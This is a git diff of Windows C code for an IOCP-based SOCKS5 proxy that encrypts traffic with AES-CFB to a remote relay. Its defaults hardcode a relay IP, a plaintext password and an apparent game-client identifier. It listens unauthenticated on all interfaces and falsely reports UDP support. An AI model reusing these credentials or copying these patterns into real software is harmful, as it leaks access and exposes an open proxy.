logv('I',"bridge %p start_close (pending_ops=%ld)", b, b->pending_ops);
|
||||
shutdown(b->s_srv, SD_BOTH);
|
||||
shutdown(b->s_cli, SD_BOTH);
|
||||
}
|
||||
|
||||
//===================== Worker (GQCS) =====================
|
||||
|
||||
static void handle_cli_data(bridge_t* b, const uint8_t* data, DWORD n){
|
||||
if (b->st!=ST_STREAM) return;
|
||||
if (!b->up_inited){ logv('E',"up cipher not ready"); bridge_start_close(b); return; }
|
||||
|
||||
// 加密并发给远端(不再发送IV)
|
||||
uint8_t* out = (uint8_t*)malloc(n);
|
||||
DWORD m=0; if (!cfb_update(&b->c_up, data, n, out, &m)){ free(out); bridge_start_close(b); return; }
|
||||
if (g_verbose) logv('D',"STREAM up: in=%u enc=%u", n, m);
|
||||
post_send(b, b->s_srv, out, m, OP_SRV_SEND);
|
||||
free(out);
|
||||
}
|
||||
|
||||
static void handle_srv_data(bridge_t* b, uint8_t* data, DWORD n){
|
||||
DWORD off=0;
|
||||
// 下行首次收到时,先收满 16B IV
|
||||
if (!b->dn_inited){
|
||||
DWORD need = (DWORD)(16 - b->ivdn_have);
|
||||
if (n < need){
|
||||
memcpy(b->iv_dn + b->ivdn_have, data, n);
|
||||
b->ivdn_have += n;
|
||||
return;
|
||||
}else{
|
||||
// 完成 IV 收集
|
||||
memcpy(b->iv_dn + b->ivdn_have, data, need);
|
||||
b->ivdn_have = 16;
|
||||
off = need;
|
||||
if (!cfb_init(&b->c_dn, b->key32, b->iv_dn, FALSE)){ bridge_start_close(b); return; }
|
||||
b->dn_inited=TRUE;
|
||||
logv('I',"downstream IV received");
|
||||
}
|
||||
}
|
||||
if (off < n){
|
||||
uint8_t* out=(uint8_t*)malloc(n - off);
|
||||
DWORD m=0;
|
||||
if (!cfb_update(&b->c_dn, data+off, n-off, out, &m)){ free(out); bridge_start_close(b); return; }
|
||||
if (g_verbose) logv('D',"STREAM down: in=%u dec=%u", n-off, m);
|
||||
post_send(b, b->s_cli, out, m, OP_CLI_SEND);
|
||||
free(out);
|
||||
}
|
||||
}
|
||||
|
||||
static DWORD WINAPI worker_thread(LPVOID arg_){
|
||||
worker_arg_t* arg=(worker_arg_t*)arg_;
|
||||
HANDLE iocp=arg->iocp;
|
||||
for (;;){
|
||||
DWORD bytes=0; ULONG_PTR key=0; OVERLAPPED* pov=NULL;
|
||||
BOOL ok = GetQueuedCompletionStatus(iocp, &bytes, &key, &pov, INFINITE);
|
||||
bridge_t* b=(bridge_t*)key;
|
||||
iocp_op_t* op = (iocp_op_t*)pov;
|
||||
if (!pov){ // shutdown signal?
|
||||
break;
|
||||
}
|
||||
if (!ok){
|
||||
DWORD gle=GetLastError();
|
||||
// 某些取消/超时也会走这里
|
||||
// 统一当作该 op 完成,交给状态机关闭
|
||||
}
|
||||
|
||||
if (op->kind==OP_CLI_RECV){
|
||||
if (g_verbose) logv('D',"GQCS: CLI_RECV %u bytes", bytes);
|
||||
if (bytes==0){ // 客户端关闭
|
||||
InterlockedDecrement(&b->pending_ops);
|
||||
op_free(op);
|
||||
bridge_start_close(b);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 状态机:GREETING 或 REQUEST 或 STREAM
|
||||
if (b->st==ST_GREETING){
|
||||
DWORD need=0;
|
||||
if (!s5_greeting((uint8_t*)op->buf.buf, bytes, &need)){
|
||||
// 不足,理论上应缓存;这里简单化,认为一次收齐(curl等会在一个包里)
|
||||
if (bytes<2){ // 再贴收
|
||||
post_recv(b, b->s_cli, OP_CLI_RECV);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
continue;
|
||||
}
|
||||
logv('E',"S5 greeting malformed");
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
bridge_start_close(b);
|
||||
continue;
|
||||
}
|
||||
// 丢掉 greeting,并回 05 00
|
||||
uint8_t ok2[2]={0x05,0x00};
|
||||
post_send(b, b->s_cli, ok2, 2, OP_CLI_SEND);
|
||||
if (g_verbose) logv('I',"S5 greeting ok");
|
||||
b->st = ST_REQUEST;
|
||||
// 再收 request
|
||||
post_recv(b, b->s_cli, OP_CLI_RECV);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
continue;
|
||||
|
||||
}else if (b->st==ST_REQUEST){
|
||||
uint8_t cmd,atyp; char host[128]; uint16_t port=0; DWORD used=0;
|
||||
int r = s5_parse_request((uint8_t*)op->buf.buf, bytes, &cmd,&atyp,host,&port,&used);
|
||||
if (r<=0){
|
||||
// 继续收
|
||||
post_recv(b, b->s_cli, OP_CLI_RECV);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
continue;
|
||||
}
|
||||
b->req_cmd=cmd; b->req_atyp=atyp; strncpy(b->req_host,host,127); b->req_port=port;
|
||||
if (g_verbose) logv('I',"S5 request cmd=0x%02X atyp=0x%02X host=%s port=%u", cmd,atyp,host,port);
|
||||
|
||||
if (cmd==0x01){ // CONNECT
|
||||
// 先派生密钥
|
||||
if (!kdf_key32_from_password(b->cfg->password, b->key32)){
|
||||
logv('E',"KDF failed"); bridge_start_close(b);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op); continue;
|
||||
}
|
||||
|
||||
// 如果是域名且启用 DNS over tunnel,先尝试查询 A
|
||||
if (b->cfg->dns_on && atyp==0x03){
|
||||
char ip[16]={0};
|
||||
if (dns_over_tunnel_query(b->cfg, b->key32, host, ip)){
|
||||
strncpy(b->req_host, ip, 127); b->req_atyp = 0x01;
|
||||
logv('I',"DOT result %s -> %s", host, ip);
|
||||
}else{
|
||||
logv('W',"DOT fail, fallback to remote resolve (keep domain)");
|
||||
}
|
||||
}
|
||||
|
||||
// 连接远端中继
|
||||
if (!bridge_connect_remote(b)){
|
||||
s5_reply(b->s_cli, 0x05, "0.0.0.0", 0);
|
||||
bridge_start_close(b);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op); continue;
|
||||
}
|
||||
b->st = ST_CONNECTING;
|
||||
|
||||
}else if (cmd==0x03){
|
||||
// UDP ASSOC(此版本先不实现 SOCKS UDP 转发,只回 OK,防吞包)
|
||||
s5_reply(b->s_cli, 0x00, "0.0.0.0", 0);
|
||||
}else{
|
||||
s5_reply(b->s_cli, 0x07, "0.0.0.0", 0);
|
||||
bridge_start_close(b);
|
||||
}
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
continue;
|
||||
|
||||
}else if (b->st==ST_STREAM){
|
||||
handle_cli_data(b, (uint8_t*)op->buf.buf, bytes);
|
||||
// 继续收客户端
|
||||
post_recv(b, b->s_cli, OP_CLI_RECV);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 其它状态
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
|
||||
}else if (op->kind==OP_SRV_RECV){
|
||||
if (g_verbose) logv('D',"GQCS: SRV_RECV %u bytes", bytes);
|
||||
if (bytes==0){
|
||||
InterlockedDecrement(&b->pending_ops);
|
||||
op_free(op);
|
||||
bridge_start_close(b);
|
||||
continue;
|
||||
}
|
||||
handle_srv_data(b, (uint8_t*)op->buf.buf, bytes);
|
||||
// 继续收远端
|
||||
post_recv(b, b->s_srv, OP_SRV_RECV);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
|
||||
}else if (op->kind==OP_CLI_SEND || op->kind==OP_SRV_SEND){
|
||||
if (g_verbose) logv('D',"GQCS: %s %u bytes", op->kind==OP_CLI_SEND?"CLI_SEND":"SRV_SEND", bytes);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
|
||||
}else if (op->kind==OP_CONNECT){
|
||||
DWORD gle = 0;
|
||||
BOOL ok2 = WSAGetOverlappedResult(b->s_srv, &op->ov, &bytes, FALSE, &gle);
|
||||
if (!ok2){
|
||||
logv('E',"ConnectEx complete err gle=%u", gle);
|
||||
s5_reply(b->s_cli, 0x05, "0.0.0.0", 0);
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
bridge_start_close(b); continue;
|
||||
}
|
||||
// 必须调用 setsockopt/更新为连接态
|
||||
setsockopt(b->s_srv, IPPROTO_TCP, TCP_NODELAY, (const char*)&(int){1}, sizeof(int));
|
||||
// 将 socket 转换为连接态(微软文档:ConnectEx 完成后需调用 setsockopt 或 WSAIoctl SIO_KEEPALIVE_VALS/或者调用 getsockname 等)
|
||||
struct sockaddr_in name; int namelen=sizeof(name);
|
||||
getsockname(b->s_srv,(struct sockaddr*)&name,&namelen);
|
||||
|
||||
if (g_verbose) logv('I',"ConnectEx completed ok=1 gle=0");
|
||||
InterlockedDecrement(&b->pending_ops); op_free(op);
|
||||
|
||||
after_remote_connected(b);
|
||||
}
|
||||
|
||||
// 统一关闭判定
|
||||
if (b->closing && InterlockedCompareExchange(&b->pending_ops,0,0)==0){
|
||||
logv('I',"bridge %p free", b);
|
||||
bridge_free(b);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
//===================== Accept loop =====================
|
||||
|
||||
static DWORD WINAPI accept_loop(LPVOID arg_){
|
||||
worker_arg_t* wa=(worker_arg_t*)arg_;
|
||||
config_t* cfg = wa->cfg;
|
||||
|
||||
SOCKET ls = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,0, WSA_FLAG_OVERLAPPED);
|
||||
if (ls==INVALID_SOCKET){ logv('E',"listen socket fail %d", WSAGetLastError()); return 1; }
|
||||
|
||||
struct sockaddr_in sin={0}; sin.sin_family=AF_INET; sin.sin_port=htons((u_short)cfg->listen_port);
|
||||
InetPtonA(AF_INET, cfg->listen_host, &sin.sin_addr);
|
||||
if (bind(ls,(struct sockaddr*)&sin,sizeof(sin))!=0){ logv('E',"bind fail %d", WSAGetLastError()); return 1; }
|
||||
if (listen(ls, SOMAXCONN)!=0){ logv('E',"listen fail %d", WSAGetLastError()); return 1; }
|
||||
|
||||
logv('I',"ready.");
|
||||
|
||||
for (;;){
|
||||
struct sockaddr_storage cs; int clen=sizeof(cs);
|
||||
SOCKET s = accept(ls, (struct sockaddr*)&cs, &clen);
|
||||
if (s==INVALID_SOCKET){ int e=WSAGetLastError(); if (e==WSAEINTR) break; continue; }
|
||||
|
||||
char ipbuf[64]; uint16_t cport=0;
|
||||
if (cs.ss_family==AF_INET){
|
||||
struct sockaddr_in* a=(struct sockaddr_in*)&cs;
|
||||
inet_ntop(AF_INET, &a->sin_addr, ipbuf, sizeof(ipbuf)); cport=ntohs(a->sin_port);
|
||||
}else{
|
||||
strcpy(ipbuf,"::1"); cport=0;
|
||||
}
|
||||
logv('I',"accepted socket=%llu from %s:%u", (unsigned long long)s, ipbuf, cport);
|
||||
|
||||
// 建 bridge
|
||||
bridge_t* b=(bridge_t*)calloc(1,sizeof(bridge_t));
|
||||
b->s_cli = s; b->s_srv=INVALID_SOCKET; b->cfg = cfg; b->recv_cap = (DWORD)cfg->recv_buf; b->st=ST_GREETING;
|
||||
b->iocp = wa->iocp;
|
||||
CreateIoCompletionPort((HANDLE)b->s_cli, wa->iocp, (ULONG_PTR)b, 0);
|
||||
|
||||
// 贴收客户端
|
||||
post_recv(b, b->s_cli, OP_CLI_RECV);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
//===================== main =====================
|
||||
|
||||
int main(int argc, char** argv){
|
||||
config_t cfg; parse_args(argc,argv,&cfg);
|
||||
g_verbose = cfg.verbose;
|
||||
srand((unsigned)time(NULL));
|
||||
g_main_tid = GetCurrentThreadId();
|
||||
|
||||
WSADATA w; if (WSAStartup(MAKEWORD(2,2), &w)!=0){ return 1; }
|
||||
|
||||
HANDLE iocp = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
|
||||
logv('I',"=== mx iocp socks5 ===");
|
||||
logv('I',"listen %s:%d remote %s:%d verbose=%d", cfg.listen_host, cfg.listen_port, cfg.remote_host, cfg.remote_port, cfg.verbose);
|
||||
logv('I',"udp_timeout=%ds connect_timeout=%ds", cfg.udp_timeout_sec, cfg.connect_timeout_sec);
|
||||
|
||||
worker_arg_t wa = { .iocp=iocp, .cfg=&cfg };
|
||||
|
||||
// workers
|
||||
const int N=3; HANDLE th[N];
|
||||
for (int i=0;i<N;i++) th[i]=CreateThread(NULL,0,worker_thread,&wa,0,NULL);
|
||||
|
||||
// accept
|
||||
HANDLE thacc = CreateThread(NULL,0,accept_loop,&wa,0,NULL);
|
||||
|
||||
WaitForSingleObject(thacc, INFINITE);
|
||||
// signal workers stop
|
||||
for (int i=0;i<N;i++) PostQueuedCompletionStatus(iocp, 0, 0, NULL);
|
||||
WaitForMultipleObjects(N, th, TRUE, INFINITE);
|
||||
|
||||
CloseHandle(iocp);
|
||||
WSACleanup();
|
||||
return 0;
|
||||
}
|
||||
1037
cpp/mx_optimized.c
Normal file
1037
cpp/mx_optimized.c
Normal file
File diff suppressed because it is too large
Load Diff
916
cpp/mxiocp/iocp_s5.c
Normal file
916
cpp/mxiocp/iocp_s5.c
Normal file
@ -0,0 +1,916 @@
|
||||
// iocp_s5.c : SOCKS5 bridge using IOCP + CNG (no libevent/openssl)
|
||||
// Build (MSVC): cl /O2 /DNDEBUG /MT /utf-8 iocp_s5.c /link /MACHINE:X64 /OPT:REF /OPT:ICF ws2_32.lib mswsock.lib bcrypt.lib
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#ifndef _WIN32_WINNT
|
||||
#define _WIN32_WINNT 0x0A00 // Windows 10+
|
||||
#endif
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <mswsock.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <bcrypt.h>
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <time.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "Ws2_32.lib")
|
||||
#pragma comment(lib, "Mswsock.lib")
|
||||
#pragma comment(lib, "Bcrypt.lib")
|
||||
|
||||
// -------------------- logging --------------------
|
||||
static volatile LONG g_log_level = 2; // 0=quiet, 1=info, 2=debug
|
||||
|
||||
static void logf_(const char* lvl, const char* fmt, ...) {
|
||||
SYSTEMTIME st; GetLocalTime(&st);
|
||||
DWORD tid = GetCurrentThreadId();
|
||||
fprintf(stderr, "[%02u:%02u:%02u.%03u][%s][T%lu] ",
|
||||
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, lvl, (unsigned long)tid);
|
||||
va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap);
|
||||
fputc('\n', stderr);
|
||||
fflush(stderr);
|
||||
}
|
||||
#define LOGI(...) do{ if(g_log_level>=1) logf_("I", __VA_ARGS__); }while(0)
|
||||
#define LOGD(...) do{ if(g_log_level>=2) logf_("D", __VA_ARGS__); }while(0)
|
||||
#define LOGE(...) do{ if(g_log_level>=0) logf_("E", __VA_ARGS__); }while(0)
|
||||
|
||||
// -------------------- compatibility --------------------
|
||||
#define CLOSESOCK(s) closesocket((s))
|
||||
#define WOULD_BLOCK(e) ((e)==WSAEWOULDBLOCK || (e)==WSAEINTR)
|
||||
#define strcasecmp _stricmp
|
||||
|
||||
// -------------------- constants --------------------
|
||||
#define RECV_BUF 8192
|
||||
#define UDP_MAP_CAP 128
|
||||
#define DOMAIN_MAX 255
|
||||
#define DNS_CACHE_SIZE 256
|
||||
#define MAX_PENDING_ACCEPT 64
|
||||
#define MAX_WORKERS 0 // 0 = system default
|
||||
|
||||
// -------------------- domains list --------------------
|
||||
static const char *k_domains[] = {"google.com", "youtube.com", "github.com"};
|
||||
static const size_t k_domains_cnt = 3;
|
||||
|
||||
static bool ends_with(const char *s, const char *suffix) {
|
||||
size_t ls = strlen(s), lt = strlen(suffix);
|
||||
return lt <= ls && strcasecmp(s + (ls - lt), suffix) == 0;
|
||||
}
|
||||
static bool host_in_domain_list(const char *host) {
|
||||
for (size_t i = 0; i < k_domains_cnt; ++i) if (ends_with(host, k_domains[i])) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
// -------------------- resolve helpers --------------------
|
||||
static bool resolve_host_port(const char *host, uint16_t port, struct sockaddr_storage *ss, int *sslen) {
|
||||
struct addrinfo hints, *res = NULL;
|
||||
char portstr[8]; _snprintf(portstr, sizeof(portstr), "%u", (unsigned)port);
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
int rc = getaddrinfo(host, portstr, &hints, &res);
|
||||
if (rc != 0 || !res) { if (res) freeaddrinfo(res); LOGE("resolve_host_port('%s',%u) failed: %d", host, (unsigned)port, rc); return false; }
|
||||
memcpy(ss, res->ai_addr, (int)res->ai_addrlen);
|
||||
*sslen = (int)res->ai_addrlen;
|
||||
freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
static int host_literal_ip(const char *host, uint8_t *packed16, size_t *packed_len) {
|
||||
IN_ADDR a4; IN6_ADDR a6;
|
||||
if (InetPtonA(AF_INET, host, &a4) == 1) { memcpy(packed16, &a4, 4); *packed_len = 4; return AF_INET; }
|
||||
if (InetPtonA(AF_INET6, host, &a6) == 1) { memcpy(packed16, &a6, 16); *packed_len = 16; return AF_INET6; }
|
||||
return 0;
|
||||
}
|
||||
static void sockaddr_to_string(const SOCKADDR* sa, int salen, char* out, size_t cap) {
|
||||
out[0] = 0; if (!sa) return;
|
||||
if (sa->sa_family == AF_INET) {
|
||||
const SOCKADDR_IN* s = (const SOCKADDR_IN*)sa;
|
||||
char ip[64]; InetNtopA(AF_INET, (void*)&s->sin_addr, ip, sizeof(ip));
|
||||
_snprintf(out, cap, "%s:%u", ip, (unsigned)ntohs(s->sin_port));
|
||||
} else if (sa->sa_family == AF_INET6) {
|
||||
const SOCKADDR_IN6* s6 = (const SOCKADDR_IN6*)sa;
|
||||
char ip[128]; InetNtopA(AF_INET6, (void*)&s6->sin6_addr, ip, sizeof(ip));
|
||||
_snprintf(out, cap, "[%s]:%u", ip, (unsigned)ntohs(s6->sin6_port));
|
||||
} else {
|
||||
_snprintf(out, cap, "af=%d", sa->sa_family);
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------- config --------------------
|
||||
typedef struct {
|
||||
char remote_host[64];
|
||||
int remote_port;
|
||||
char password[64];
|
||||
char mx_head[128];
|
||||
char listen_host[16];
|
||||
int listen_port;
|
||||
int recv_buf;
|
||||
int connect_timeout; // seconds
|
||||
int udp_timeout; // seconds
|
||||
int verbose; // 0/1
|
||||
} config_t;
|
||||
|
||||
static void config_default(config_t *cfg) {
|
||||
memset(cfg, 0, sizeof(*cfg));
|
||||
strcpy(cfg->remote_host, "121.14.152.149");
|
||||
cfg->remote_port = 10004;
|
||||
strcpy(cfg->password, "dwz1GtF7");
|
||||
strcpy(cfg->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279");
|
||||
strcpy(cfg->listen_host, "0.0.0.0");
|
||||
cfg->listen_port = 10807;
|
||||
cfg->recv_buf = RECV_BUF;
|
||||
cfg->connect_timeout = 10;
|
||||
cfg->udp_timeout = 180;
|
||||
cfg->verbose = 1;
|
||||
}
|
||||
// 全局:是否所有域名都走 DNS-over-tunnel
|
||||
static int g_dns_always = 0;
|
||||
|
||||
static void parse_args(int argc, char **argv, config_t *cfg) {
|
||||
config_default(cfg);
|
||||
for (int i = 1; i < argc; ++i) {
|
||||
if (!strcmp(argv[i], "--remote-host") && i+1 < argc) strncpy(cfg->remote_host, argv[++i], sizeof(cfg->remote_host)-1);
|
||||
else if (!strcmp(argv[i], "--remote-port") && i+1 < argc) cfg->remote_port = atoi(argv[++i]);
|
||||
else if (!strcmp(argv[i], "--password") && i+1 < argc) strncpy(cfg->password, argv[++i], sizeof(cfg->password)-1);
|
||||
else if (!strcmp(argv[i], "--mx") && i+1 < argc) strncpy(cfg->mx_head, argv[++i], sizeof(cfg->mx_head)-1);
|
||||
else if (!strcmp(argv[i], "--listen") && i+1 < argc) strncpy(cfg->listen_host, argv[++i], sizeof(cfg->listen_host)-1);
|
||||
else if (!strcmp(argv[i], "--port") && i+1 < argc) cfg->listen_port = atoi(argv[++i]);
|
||||
else if (!strcmp(argv[i], "--dns-always")) g_dns_always = 1;
|
||||
else if (!strcmp(argv[i], "--verbose")) { cfg->verbose = 1; g_log_level = 2; }
|
||||
else if (!strcmp(argv[i], "--quiet")) { cfg->verbose = 0; g_log_level = 0; }
|
||||
else if (!strcmp(argv[i], "--log") && i+1 < argc) { g_log_level = atoi(argv[++i]); cfg->verbose = (g_log_level>0); }
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------- small helpers --------------------
|
||||
typedef struct { char* data; size_t len, cap; } dynbuf_t;
|
||||
static void dbuf_init(dynbuf_t* b) { b->data=NULL; b->len=0; b->cap=0; }
|
||||
static void dbuf_free(dynbuf_t* b) { if(b->data) free(b->data); b->data=NULL; b->len=b->cap=0; }
|
||||
static bool dbuf_reserve(dynbuf_t* b, size_t need){ if(b->cap-b->len>=need) return true; size_t nc=b->cap?b->cap:1024; while(nc-b->len<need) nc<<=1; char* p=(char*)realloc(b->data,nc); if(!p) return false; b->data=p; b->cap=nc; return true; }
|
||||
static bool dbuf_append(dynbuf_t* b, const void* p, size_t n){ if(!dbuf_reserve(b,n)) return false; memcpy(b->data+b->len,p,n); b->len+=n; return true; }
|
||||
static void dbuf_consume(dynbuf_t* b, size_t n){ if(n>=b->len){b->len=0;return;} memmove(b->data,b->data+n,b->len-n); b->len-=n; }
|
||||
static void log_preview(const char* tag, const uint8_t* buf, size_t n) {
|
||||
char out[200]; size_t m = n<80? n:80; size_t j=0;
|
||||
for (size_t i=0;i<m && j<sizeof(out)-1; ++i) {
|
||||
unsigned char c = buf[i];
|
||||
out[j++] = (c>=32 && c<127)? c : '.';
|
||||
}
|
||||
out[j]=0;
|
||||
LOGD("%s [%zu]: %s", tag, n, out);
|
||||
}
|
||||
|
||||
// -------------------- socks5 --------------------
|
||||
typedef struct { uint8_t cmd, atyp; char host[128]; uint16_t port; } socks5_req_t;
|
||||
|
||||
static int parse_socks5_greeting(const uint8_t* p, size_t len, size_t* consumed) {
|
||||
if (len < 2) return 0;
|
||||
if (p[0] != 5) return -2;
|
||||
size_t need = 2 + p[1];
|
||||
if (len < need) return 0;
|
||||
*consumed = need;
|
||||
return 1;
|
||||
}
|
||||
static int parse_socks5_request(const uint8_t* p, size_t len, socks5_req_t *req, size_t* consumed) {
|
||||
if (len < 4) return 0;
|
||||
if (p[0] != 5) return -2;
|
||||
req->cmd = p[1];
|
||||
req->atyp = p[3];
|
||||
size_t off = 4;
|
||||
if (req->atyp == 0x01) {
|
||||
if (len < off + 4 + 2) return 0;
|
||||
char ip[INET_ADDRSTRLEN]; InetNtopA(AF_INET,(void*)(p+off),ip,sizeof(ip));
|
||||
strncpy(req->host, ip, sizeof(req->host)-1); req->host[127]=0;
|
||||
off += 4; req->port = ntohs(*(uint16_t*)(p + off)); off += 2;
|
||||
} else if (req->atyp == 0x03) {
|
||||
if (len < off + 1) return 0;
|
||||
uint8_t l = p[off++]; if (len < off + l + 2) return 0;
|
||||
size_t cplen = (l > 127) ? 127 : l;
|
||||
memcpy(req->host, p + off, cplen); req->host[cplen]=0;
|
||||
off += l; req->port = ntohs(*(uint16_t*)(p + off)); off += 2;
|
||||
} else if (req->atyp == 0x04) {
|
||||
if (len < off + 16 + 2) return 0;
|
||||
char ip6[INET6_ADDRSTRLEN]; InetNtopA(AF_INET6,(void*)(p+off),ip6,sizeof(ip6));
|
||||
strncpy(req->host, ip6, sizeof(req->host)-1); req->host[127]=0;
|
||||
off += 16; req->port = ntohs(*(uint16_t*)(p + off)); off += 2;
|
||||
} else return -3;
|
||||
*consumed = off; return 1;
|
||||
}
|
||||
static void socks5_send_reply(SOCKET s, uint8_t rep, const char *bind_host, uint16_t bind_port) {
|
||||
uint8_t buf[4 + 1 + 255 + 2]; size_t off=0;
|
||||
buf[off++]=0x05; buf[off++]=rep; buf[off++]=0x00;
|
||||
uint8_t packed[16]; size_t plen=0;
|
||||
int af = host_literal_ip(bind_host, packed, &plen);
|
||||
if (af == AF_INET) { buf[off++]=0x01; memcpy(buf+off,packed,4); off+=4; }
|
||||
else if (af==AF_INET6) { buf[off++]=0x04; memcpy(buf+off,packed,16); off+=16; }
|
||||
else { size_t len=strlen(bind_host); if(len>255) len=255; buf[off++]=0x03; buf[off++]=(uint8_t)len; memcpy(buf+off,bind_host,len); off+=len; }
|
||||
uint16_t p=htons(bind_port); memcpy(buf+off,&p,2); off+=2; send(s,(const char*)buf,(int)off,0);
|
||||
}
|
||||
static void socks5_send_reply_log(SOCKET s, uint8_t rep, const char* host, uint16_t port){
|
||||
LOGI("S5 reply rep=0x%02x bind=%s:%u", rep, host?host:"", (unsigned)port);
|
||||
socks5_send_reply(s, rep, host, port);
|
||||
}
|
||||
|
||||
// -------------------- encode_addr --------------------
|
||||
static bool encode_addr(uint8_t atyp, const char *host, uint16_t port, dynbuf_t* out, bool tcp) {
|
||||
uint8_t packed[16]; size_t plen=0;
|
||||
if (atyp == 0x01) {
|
||||
if (host_literal_ip(host, packed, &plen) != AF_INET) return false;
|
||||
uint8_t t = tcp ? 0x61 : 0x01; dbuf_append(out,&t,1); dbuf_append(out,packed,4);
|
||||
} else if (atyp == 0x03) {
|
||||
size_t len=strlen(host); if(len>255) return false;
|
||||
uint8_t t=tcp?0x63:0x03; dbuf_append(out,&t,1); uint8_t l=(uint8_t)len; dbuf_append(out,&l,1); dbuf_append(out,host,len);
|
||||
} else if (atyp == 0x04) {
|
||||
if (host_literal_ip(host, packed, &plen) != AF_INET6) return false;
|
||||
uint8_t t=tcp?0x64:0x04; dbuf_append(out,&t,1); dbuf_append(out,packed,16);
|
||||
} else return false;
|
||||
uint16_t nport=htons(port); dbuf_append(out,&nport,2); return true;
|
||||
}
|
||||
|
||||
// -------------------- CNG crypto (CFB128 fixed) --------------------
|
||||
typedef struct AES_CFB {
|
||||
BCRYPT_ALG_HANDLE hAlg;
|
||||
BCRYPT_KEY_HANDLE hKey;
|
||||
PUCHAR keyObj;
|
||||
DWORD keyObjLen;
|
||||
UCHAR iv[16];
|
||||
BOOL ready;
|
||||
} AES_CFB;
|
||||
|
||||
static void rand_bytes(uint8_t* b, size_t n) {
|
||||
BCryptGenRandom(NULL,(PUCHAR)b,(ULONG)n,BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
}
|
||||
|
||||
static BOOL kdf_evp_bytes_to_key_md5(const uint8_t* pw, size_t pwlen, uint8_t out32[32]) {
|
||||
BCRYPT_ALG_HANDLE hMd5=NULL; NTSTATUS st=0; BCRYPT_HASH_HANDLE hh=NULL; UCHAR h1[16],h2[16];
|
||||
st=BCryptOpenAlgorithmProvider(&hMd5,BCRYPT_MD5_ALGORITHM,NULL,0); if(st) return FALSE;
|
||||
st=BCryptCreateHash(hMd5,&hh,NULL,0,NULL,0,0); if(st) goto L;
|
||||
st=BCryptHashData(hh,(PUCHAR)pw,(ULONG)pwlen,0); if(st) goto L;
|
||||
st=BCryptFinishHash(hh,h1,16,0); BCryptDestroyHash(hh); hh=NULL; if(st) goto L;
|
||||
st=BCryptCreateHash(hMd5,&hh,NULL,0,NULL,0,0); if(st) goto L;
|
||||
st=BCryptHashData(hh,h1,16,0); if(st) goto L;
|
||||
st=BCryptHashData(hh,(PUCHAR)pw,(ULONG)pwlen,0); if(st) goto L;
|
||||
st=BCryptFinishHash(hh,h2,16,0); if(st) goto L;
|
||||
memcpy(out32,h1,16); memcpy(out32+16,h2,16);
|
||||
L: if(hh)BCryptDestroyHash(hh); if(hMd5)BCryptCloseAlgorithmProvider(hMd5,0); return st==0;
|
||||
}
|
||||
|
||||
static BOOL aes_cfb_init(AES_CFB* s, const uint8_t key[32], const uint8_t iv[16]) {
|
||||
memset(s,0,sizeof(*s));
|
||||
if (BCryptOpenAlgorithmProvider(&s->hAlg,BCRYPT_AES_ALGORITHM,NULL,0)) return FALSE;
|
||||
if (BCryptSetProperty(s->hAlg,BCRYPT_CHAINING_MODE,(PUCHAR)BCRYPT_CHAIN_MODE_CFB,(ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB),0)) return FALSE;
|
||||
DWORD cb=0; if (BCryptGetProperty(s->hAlg,BCRYPT_OBJECT_LENGTH,(PUCHAR)&s->keyObjLen,sizeof(DWORD),&cb,0)) return FALSE;
|
||||
s->keyObj=(PUCHAR)HeapAlloc(GetProcessHeap(),0,s->keyObjLen); if(!s->keyObj) return FALSE;
|
||||
if (BCryptGenerateSymmetricKey(s->hAlg,&s->hKey,s->keyObj,s->keyObjLen,(PUCHAR)key,32,0)) return FALSE;
|
||||
DWORD fb = 16; // **** CFB128
|
||||
if (BCryptSetProperty(s->hKey, BCRYPT_MESSAGE_BLOCK_LENGTH, (PUCHAR)&fb, sizeof(fb), 0)) return FALSE;
|
||||
memcpy(s->iv,iv,16); s->ready=TRUE; return TRUE;
|
||||
}
|
||||
static void aes_cfb_free(AES_CFB* s){
|
||||
if(s->hKey) BCryptDestroyKey(s->hKey);
|
||||
if(s->hAlg) BCryptCloseAlgorithmProvider(s->hAlg,0);
|
||||
if(s->keyObj) HeapFree(GetProcessHeap(),0,s->keyObj);
|
||||
memset(s,0,sizeof(*s));
|
||||
}
|
||||
static BOOL aes_cfb_update(AES_CFB* s, BOOL enc, PUCHAR in, ULONG inlen, PUCHAR out, ULONG* outlen) {
|
||||
if (!s->ready) return FALSE;
|
||||
NTSTATUS st = enc ? BCryptEncrypt(s->hKey,in,inlen,NULL,s->iv,16,out,inlen,outlen,0)
|
||||
